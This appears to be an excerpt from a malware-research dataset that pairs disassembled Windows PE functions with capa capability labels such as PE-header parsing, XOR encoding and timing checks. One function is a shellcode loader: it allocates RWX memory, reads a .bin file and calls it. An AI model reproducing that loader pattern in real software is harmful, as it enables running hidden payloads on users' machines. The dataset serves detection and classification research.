joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008420
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r14
sub rsp, 0x140
mov rax, qword [0x14006f338]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rdi, rcx
test rcx, rcx
je 0x1400084b1
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400084b1
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400084b1
mov ecx, 0x10b
cmp word [rax + rdi + 0x18], cx
jne 0x1400084b1
lea rcx, [0x140071cb0]
call qword [fcn.140048348]
mov rbx, qword [0x140071ca8]
xor r14d, r14d
mov esi, r14d
test rbx, rbx
je 0x1400084a4
nop dword [rax]
cmp qword [rbx], rdi
je 0x1400084d7
mov rsi, rbx
mov rbx, qword [rbx + 0x114]
test rbx, rbx
jne 0x140008490
lea rcx, [0x140071cb0]
call qword [fcn.140048340]
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140042c90
mov rbx, qword [rsp + 0x178]
add rsp, 0x140
pop r14
pop rdi
pop rsi
ret
dec dword [rbx + 0x110]
lea rdx, [rbx + 8]
mov qword [rsp + 0x168], rbp
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x170], r15
mov r8d, 0x104
mov r15d, dword [rbx + 0x10c]
call qword [0x140048250]
mov ebp, 1
cmp dword [rbx + 0x110], r14d
jne 0x14000855c
mov rcx, rbx
test rsi, rsi
jne 0x140008536
mov rax, qword [0x140071ca8]
mov rdx, qword [rax + 0x114]
mov qword [0x140071ca8], rdx
jmp 0x140008544
mov rax, qword [rbx + 0x114]
mov qword [rsi + 0x114], rax
call qword [0x1400489f0]
lea rcx, [0x140071cb0]
call qword [fcn.140048340]
mov r14d, ebp
jmp 0x140008569
lea rcx, [0x140071cb0]
call qword [fcn.140048340]
test r15b, 3
mov r15, qword [rsp + 0x170]
jne 0x1400085b2
test r14d, r14d
je 0x1400085b2
movsxd rax, dword [rdi + 0x3c]
mov ecx, 0x2000
test word [rax + rdi + 0x16], cx
je 0x14000859f
mov r9d, dword [rax + rdi + 0x28]
xor r8d, r8d
add r9d, edi
xor edx, edx
mov rcx, rdi
call r9
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [0x140048470]
mov ebp, eax
mov eax, ebp
mov rbp, qword [rsp + 0x168]
jmp 0x1400084b3
Function at 0x14000a130
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
lea r9, [rsp + 0x50]
mov dword [rsp + 0x38], ebx
lea rcx, [0x14004cb54]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
movups xmmword [0x140071d30], xmm0
mov dword [rsp + 0x50], ebx
movups xmmword [0x140071d40], xmm0
call qword [fcn.140048230]
mov r8, qword [0x140049488]
lea rax, [0x140071d34]
mov edx, dword [rsp + 0x50]
nop dword [rax]
mov dword [rax - 4], edx
lea rax, [rax + 0x20]
xor edx, dword [r8]
add ebx, 8
mov dword [rsp + 0x50], edx
mov dword [rax - 0x20], edx
mov ecx, dword [r8]
xor ecx, edx
mov dword [rsp + 0x50], ecx
mov dword [rax - 0x1c], ecx
mov edx, dword [r8]
xor edx, ecx
mov dword [rsp + 0x50], edx
mov dword [rax - 0x18], edx
xor edx, dword [r8]
mov dword [rsp + 0x50], edx
mov dword [rax - 0x14], edx
xor edx, dword [r8]
mov dword [rsp + 0x50], edx
mov dword [rax - 0x10], edx
xor edx, dword [r8]
mov dword [rsp + 0x50], edx
mov dword [rax - 0xc], edx
xor edx, dword [r8]
mov dword [rsp + 0x50], edx
mov dword [rax - 8], edx
xor edx, dword [r8]
mov dword [rsp + 0x50], edx
cmp ebx, 8
jb 0x14000a190
lea rax, [0x140071d30]
add rsp, 0x40
pop rbx
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400044a0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400044b0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140004410]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004490]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x140004420]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400044b0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400044d0]
mov rcx, qword [0x1400044c0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400044f0]
mov rcx, qword [0x1400044e0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Read file on windows
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 4
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400014c5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_opening_file:__d_n
mov rcx, rax
call dbg.printf
mov ecx, 0xffffff9d
call sym.exit
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1cc
lea rdx, [0x140007040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jne 0x14000151e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_reading_file:__d_n
mov rcx, rax
call dbg.printf
mov ecx, 0xffffff9e
call sym.exit
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140001525
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
call dbg.__main
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1cc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
lea rax, str.192.168.200.59AD.bin
mov rcx, rax
call sym.readBin
mov rax, qword [rbp - 8]
lea rdx, [0x140007040]
mov ecx, 0x1cc
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 8]
call rax
mov eax, 0
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400018a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001910
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007284]
mov rbx, rcx
test esi, esi
jle 0x140001a40
mov rax, qword [0x140007288]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000195b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400019e5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001940
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001a62
mov rax, qword [0x140007288]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007288]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400019de
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400019f0
add dword [0x140007284], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007288]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019de
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001968
mov rax, qword [0x140007288]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001ff0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400072e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400072c0]
test rbx, rbx
je 0x14000204c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002043
test eax, eax
jne 0x140002043
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002028
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002260
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002278
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002280
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002290
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400022dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400022d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022df
add rax, 0x28
cmp rax, r9
jne 0x1400022c0
xor eax, eax
ret

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002370
mov rdx, qword [0x1400043e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000235e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000235e
cmp word [rax + 0x18], 0x20b
jne 0x14000235e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002370
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002349
add rbx, 0x28
cmp rbx, rdi
je 0x140002370
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002340
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400023f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023a0
add rax, 0x28
cmp rax, r9
jne 0x1400023e0
xor eax, eax
ret

Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002428
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000241f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002460
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002468
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002460
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400024b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400024a7
test rcx, rcx
je 0x140002460
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002498
xor eax, eax
ret
Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400024e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002500
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002520
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002528
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002520
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002520
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002574
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002580
add rdx, 0x28
cmp rdx, r9
jne 0x140002560
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002590
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400025b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400025c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400025b2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400025b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002615
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002628
add rdx, 0x28
cmp r10, rdx
jne 0x140002600
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002637
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002647
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000261e
test ecx, ecx
jg 0x140002630
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x180004000
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x80], 0
jne 0x18000402d
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x18000404d
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x1800041c6
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
je 0x180004084
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x1800041c6
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x1800040a2
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x1800041c6
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x1800040ce
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x1800041aa
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea rdx, [0x180007550]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1800041a5
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0xc], 0
je 0x180004133
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0x10], 0
jne 0x180004135
jmp 0x1800041aa
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp rax, 0x40
jb 0x18000417b
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0x727444
je 0x18000417d
jmp 0x1800041aa
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x180004197
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx]
mov dword [rax + 8], ecx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x1800041c6
jmp 0x1800040c4
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x1800041c6
add rsp, 0x78
ret
Function at 0x140002990
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x1400e8040]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp dword [rcx + 0x2b88], 0
mov rdi, rcx
je 0x1400029bb
cmp dword [rcx + 0x68], 8
jne 0x140002b3f
mov qword [rsp + 0x78], rbx
xor ebx, ebx
cmp dword [0x1400f16e0], ebx
jne 0x140002a67
mov qword [rsp + 0x80], rsi
lea rcx, [rsp + 0x48]
mov esi, 1
mov dword [0x1400f16e0], esi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [0x1400f16e4], eax
test eax, eax
je 0x140002a17
lea rcx, [0x1400f2430]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x48]
divsd xmm0, qword [0x1400d2f00]
jmp 0x140002a57
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x107b2
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x26], rsi
mov word [rsp + 0x2e], bx
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x30]
movsd xmm0, qword [0x1400d2ec8]
shl rcx, 0x20
or rcx, rax
mov qword [0x1400f2430], rcx
mov rsi, qword [rsp + 0x80]
movsd qword [0x1400f2438], xmm0
cmp dword [0x1400f16e4], ebx
je 0x140002a81
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x40]
jmp 0x140002a9b
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
shl rax, 0x20
or rax, rcx
sub rax, qword [0x1400f2430]
xorps xmm0, xmm0
movabs r9, 0x431bde82d7b634db
cvtsi2sd xmm0, rax
mov rax, r9
divsd xmm0, qword [0x1400f2438]
cvttsd2si rcx, xmm0
imul rcx
mov qword [rsp + 0x40], rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0xf4240
sub ecx, eax
imul eax, ecx, 0x3e8
movsxd r8, eax
movsxd rax, edx
imul rcx, rax, 0x3b9aca00
add r8, rcx
lock xadd qword [0x1400f16e8], rbx
test rbx, rbx
jne 0x140002b1f
lea rdx, [r8 - 0xf4240]
xor eax, eax
lock cmpxchg qword [0x1400f16e8], rdx
mov rbx, rax
cmove rbx, rdx
sub r8, rbx
mov rax, r9
mul r8
mov rcx, rdi
shr rdx, 0x12
mov dword [rdi + 0xa0], edx
call fcn.140002340
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400a13e0
add rsp, 0x60
pop rdi
ret

Function at 0x140005160
Capabilities:
Hash data using fnv

Disassembly:
movsx eax, byte [rcx]
test al, al
jne 0x14000516a
mov eax, edx
ret
xor eax, edx
imul edx, eax, 0x1000193
inc rcx
jmp fcn.140005160
Function at 0x1400162d0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x1400e8040]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp dword [rcx + 0x2b88], 0
mov rdi, rcx
je 0x1400162fb
cmp dword [rcx + 0x68], 8
jne 0x14001647f
mov qword [rsp + 0x78], rbx
xor ebx, ebx
cmp dword [0x1400f16f0], ebx
jne 0x1400163a7
mov qword [rsp + 0x80], rsi
lea rcx, [rsp + 0x48]
mov esi, 1
mov dword [0x1400f16f0], esi
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov dword [0x1400f16f4], eax
test eax, eax
je 0x140016357
lea rcx, [0x1400f2448]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rsp + 0x48]
divsd xmm0, qword [0x1400d2f00]
jmp 0x140016397
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x107b2
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x26], rsi
mov word [rsp + 0x2e], bx
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov ecx, dword [rsp + 0x34]
mov eax, dword [rsp + 0x30]
movsd xmm0, qword [0x1400d2ec8]
shl rcx, 0x20
or rcx, rax
mov qword [0x1400f2448], rcx
mov rsi, qword [rsp + 0x80]
movsd qword [0x1400f2450], xmm0
cmp dword [0x1400f16f4], ebx
je 0x1400163c1
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x40]
jmp 0x1400163db
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x38]
shl rax, 0x20
or rax, rcx
sub rax, qword [0x1400f2448]
xorps xmm0, xmm0
movabs r9, 0x431bde82d7b634db
cvtsi2sd xmm0, rax
mov rax, r9
divsd xmm0, qword [0x1400f2450]
cvttsd2si rcx, xmm0
imul rcx
mov qword [rsp + 0x40], rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0xf4240
sub ecx, eax
imul eax, ecx, 0x3e8
movsxd r8, eax
movsxd rax, edx
imul rcx, rax, 0x3b9aca00
add r8, rcx
